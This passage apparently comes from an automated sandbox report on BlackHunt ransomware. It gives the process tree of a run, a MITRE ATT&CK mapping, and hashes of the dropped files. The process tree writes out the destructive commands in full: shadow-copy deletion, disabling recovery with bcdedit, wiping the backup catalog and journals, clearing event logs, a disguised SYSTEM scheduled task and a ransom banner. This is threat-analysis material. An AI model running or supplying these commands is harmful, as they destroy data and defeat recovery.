    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe" /F
  2⤵
  PID:1420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2264
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2288
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2968
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2904
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1272
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:540
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1472
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:588
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1632
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:904
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:920
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2764
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2996
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:220
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3296
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2792
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1520
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3208
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3752
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:560
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1672
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3000
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2740
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe"
  2⤵
  - Deletes itself
  PID:2680
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3724

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2812

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2784

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "606347611226474658-6110161682823927201834280405-19349661951132782362728862152"
1⤵
PID:2712

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4076

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2736

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:640

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3972

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1880

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
8284783fa72e1b609e88a301faa87c05

SHA1
074f80bc5149a1012fc28a4129e43fad03f8608c

SHA256
81443b56d623edc4ea3ff8923e28ff7f36f0c092b02afedcb6a46cb1a1061d66

SHA512
ff2c509e6efbe82c2e7e1f7e214cb2043f3a2e87cb4d5d8b4fde4c359547144d452049b611b93b3e2f42a69324ee04286a1927ab749e30179db5f6fe0a50b499

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
ea773d1c44ed01dba408632061715656

SHA1
17dde9f7f98c6b71b51f5236a41d51beeea4db00

SHA256
74a18880894736e4d291ce494a04c03998fc5f5a213d779ec000624cf1b8db1d

SHA512
6ee0de5f4ffafeda6240b0d92410492a57389404f23b0a10b770eb83aff9f08749128d300b73ea916fea696251b12095fdad938dd31deb7eb6ccc683474fdddc

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
8a96b1ae64d5b0e74eccdff17ce9aa62

SHA1
e6c97913dbc4cd02f0389f6880310685999fc870

SHA256
69122f3ae02f0b8242597cf57f2a9ce453406dd5e67cac97f794909d582e99c8

SHA512
4a1b76fc2874f50b89c5f6ff21a7320736bd5c10f9e0937c257a5a263cc915d3bfbc676257646b791505eb454cceb679e1e68bf302cfba92d0da4bbcc225a7ed

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads